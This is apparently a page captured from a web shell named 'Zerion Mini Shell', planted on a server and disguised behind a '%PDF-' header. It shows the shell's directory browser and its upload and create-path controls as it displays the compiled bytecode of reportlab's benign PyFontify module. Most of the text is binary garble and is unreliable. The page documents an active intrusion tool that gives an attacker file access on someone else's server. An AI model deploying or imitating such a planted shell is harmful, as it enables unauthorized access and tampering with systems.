%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/reportlab/lib/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/reportlab/lib/__pycache__/PyFontify.cpython-312.pyc

�

��dl���dZdZdZddlZd�Zgd�ZdZdZeed	d
�dzeed	d�zZd
Zdjej��Zeed	d
�dzeed	d�zZ
dZedzdje�zdzezZedzezdze
zdzezZ
eje
�ZdZeje�Zdd�Zd�Zy)z3.3.0a|
Module to analyze Python source code; for syntax coloring tools.

Interface::

    tags = fontify(pytext, searchfrom, searchto)

 - The 'pytext' argument is a string containing Python source code.
 - The (optional) arguments 'searchfrom' and 'searchto' may contain a slice in pytext.
 - The returned value is a list of tuples, formatted like this::
    [('keyword', 0, 6, None), ('keyword', 11, 17, None), ('comment', 23, 53, None), etc. ]

 - The tuple contents are always like this::
    (tag, startindex, endindex, sublist)

 - tag is one of 'keyword', 'string', 'comment' or 'identifier'
 - sublist is not used, hence always None.
z0.4�Nc�B�|j|j|��S�N)�join�split)�src�sep�reps   �9/usr/lib/python3/dist-packages/reportlab/lib/PyFontify.py�replacer(s���8�8�C�I�I�c�N�#�#�)�as�assert�exec�del�from�lambda�return�and�elif�global�not�try�break�else�if�or�while�class�except�import�pass�continue�finally�in�print�def�for�is�raise�yield�withz#[^\n]*z$q[^\\q\n]*(\\[\000-\377][^\\q\n]*)*q�q�'�|�"a
    qqq
    [^\\q]*
    (
        (   \\[\000-\377]
        |   q
            (   \\[\000-\377]
            |   [^\q]
            |   q
                (   \\[\000-\377]
                |   [^\\q]
                )
            )
        )
        [^\\q]*
    )*
    qqq
�z(^|[^a-zA-Z0-9_.\"'])�(�)z[ 	]*[A-Za-z_][A-Za-z_0-9.]*c�X�|�t|�}tj}tj}g}|j}d}d}d}	d}
d}|}	|||�}
|
�	|S|
j�}||k\r	|S|
j
d�}|t|�z}|d}|dvrv||k7r|dd}|dz}n|dd}|dz
}||	||df�|d	vrj|||�}
|
�_|
j�}||k(rJ|
j
d�}|t|�z}||
||df�n|d
k(r
||||df�n||||df���)N�comment�string�keyword�
identifierr�z#'"���)r&r�#)�len�matchRE�search�idRE�append�start�group)�pytext�
searchfrom�searchtor=�idSearch�tags�tags_append�
commentTag�	stringTag�
keywordTag�
identifierTagr@�end�m�match�cs                r
�fontifyrPds������v�;��
�^�^�F��{�{�H�
�D��+�+�K��J��I��J� �M�
�E�
�C�
��6�3����9��B�K�A���	���H���<�K�;����
���c�%�j� ���!�H���F�?��
�"��a������	���c�r�
����'�C���U�C��6�7��(�(��V�S�)���=��G�G�I�E���|� !����
��#�c�%�j�0��#�]�E�3��$E�F�
�#�X���U�C��6�7���E�3��5�6�Grc	��t|�}|j�}|j�t|�}|D]\}}}}t	|t|||���!yr)�open�read�closerPr%�repr)�path�f�textrF�tagr@rL�sublists        r
�testr[�sU���T�
�A��6�6�8�D��G�G�I��4�=�D�$(�*� ��U�C��
�c�4��U�3��(�)�*r)rN)�__version__�__doc__�rer�keywordsList�
commentPat�pat�quotePatrr�tripleQuotePat�	nonKeyPat�keyPat�matchPat�compiler<�idKeyPatr>rPr[�rr
�<module>rjs��
��	��>��	�$�
���
�-���3��S�!�C�'�'�#�s�C�*@�@����$	�g�g�c�i�i�k�����c�3�'�#�-���S�#�0F�F��
%�	�	�S��3�8�8�L�1�	1�C�	7�)�	C�����f�$�s�*�^�;�c�A�H�L��
�"�*�*�X�
��*���r�z�z�(���4�n*r

Zerion Mini Shell 1.0